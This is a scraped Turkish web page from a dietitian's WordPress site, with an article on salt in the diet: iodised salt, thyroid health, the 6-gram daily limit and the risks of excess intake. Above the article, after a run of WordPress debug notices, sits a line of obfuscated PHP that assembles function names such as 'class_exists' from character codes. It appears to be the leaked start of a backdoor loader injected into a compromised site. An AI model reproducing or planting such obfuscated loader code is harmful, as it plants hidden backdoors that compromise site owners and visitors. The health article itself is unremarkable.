Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the all-in-one-seo-pack domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the all-in-one-wp-security-and-firewall domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the gotmls domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the robin-image-optimizer domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wp-optimize domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the the-events-calendar domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wpforms-lite domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the all-in-one-wp-security-and-firewall domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the breadcrumb-navxt domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: _load_textdomain_just_in_time işlevi yanlış çağrıldı. Translation loading for the nutrico domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Ayrıntılı bilgi almak için lütfen WordPress hata ayıklama bölümüne bakın. (Bu ileti 6.7.0 sürümünde eklendi.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121
$KPSRXNVL = chr ( 790 - 710 ).'_' . 'x' . 'c' . "\125" . chr ( 120 - 19 ); $xSYKKfUqz = chr ( 304 - 205 ).chr ( 252 - 144 ).chr (97) . 's' . "\163" . "\x5f" . "\x65" . "\170" . "\151" . "\x73" . "\x74" . 's';$tDLjarJaO = class_exists($KPSRXNVL); $KPSRXNVL = "64582";$xSYKKfUqz = "23685";$wSXkaxVLu = FALSE;$AyJRmGc = 's' . chr (95) . "\156" . "\x47" . "\x65";$lnWjZ = "\x63" . "\154" . chr (97) . chr ( 595 - 480 )."\163" . chr ( 167 - 72 ).'e' . 'x' . "\151" . chr (115) . chr (116) . 's'; Tuzun beslenmemizdeki yeri | Bursa Uzman Diyetisyeni & Fitoterapist Nursena Ardalı

Tuzun beslenmemizdeki yeri çok önemlidir. Tuz, besinlerin bileşiminde bulunduğu gibi, göllerden, denizlerden ve kayalardan saf olarak da elde edilir.  Sofra tuzunun asıl adı “sodyum klorür”dür. Tuzun %60’ı klor, %40’ı ise sodyumdan oluşur.

Tuz lezzet verici olduğundan dolayı besin hazırlanmasında ve saklanmasında ayrıca sodyum ve klor içeriğinden dolayı vücudumuzdaki mineral dengesinin sağlanmasında önemlidir.

Ülkemizde kullanılan tuzlar iyotlanmaktadır. İyot, vücudun enerji harcama hızını etkiler ve bir tiroid hormonu olan tiroksinin yapısında yer alır.  Yeterli miktarda iyot alınmadığında vücut yeterli tiroksini üretemez, enerji harcama hızı azalır ve kilo artışı yaşanabilir. Bu nedenle iyot eklenmiş tuz kullanılması iyot eksikliğinden kaynaklanan başlıca tiroid problemlerini azaltmaktadır. Ayrıca iyot eksikliği büyüme ve gelişme çağında ki çocuklarda zeka geriliği, büyüme geriliği gibi sorunlara yol açabilmektedir.

İyotlu tuz kullandığımız yemeklerde,  mineral kaybını önlemek için tuzun yemeğe en son eklenmesi önerilir. İyotlu tuz serin, karanlık, kuru ve koyu renkli bir cam kapta saklanmalıdır.

Tuz tüketiminin fazla miktarlarda tüketimine bağlı zararları :

Tuzun beslenmemizdeki yeri   olarak faydaları kadar fazla miktarlarda tüketimine bağlı zararları da bulunmaktadır. Günlük almamız gereken tuz miktarı maksimum 6 gram (1 çay kaşığı) olmalıdır. Fakat ülkemizde bu miktar günlük 18 grama kadar çıkmaktadır.

Fazla tuz tüketimim sonucunda kardiyovasküler hastalıklar, böbrek hastalıkları, hipertansiyon,  kemik kaybı gibi birçok sağlık sorunu ortaya çıkabilmektedir.

Yeme Bozukluğu: Anoreksiya Nervoza(Yeni sekmede açılır)

Tükettiğimiz birçok ürün tuz içermektedir. Beslenmemizde tuz tüketim miktarına dikkat etmemiz için etiket okuma alışkanlığı kazanmalıyız. Ayrıca sofralarınızda bulunan tuzlukları kaldırmak tuz tüketiminizi %15 azaltacaktır. Yemeklerin tadına bakmadan tuz atma alışkanlığından vazgeçmeli, tuz yerine lezzetlendirme için baharatları tercih etmeliyiz.

Sonuç olarak, tuz yaşamımızda önemli bir yere sahiptir. Fakat her şeyin fazlası zarar olduğu gibi tuz tüketimimizde de miktara dikkat etmemiz gerekmektedir.

Tabii ki özel hastalıklarda kullanılacak tuzun çeşidi ve miktarını öğrenmek için de doktorunuza başvurmayı unutmayın.

Günün Sözü: Sağlıklı beslenmenin püf noktası az veya çok değil, dengeli ve besleyici yemektir.

Dyt. Nursena ARDALI ( Bursa Diyetisyeni )

Bir yanıt yazın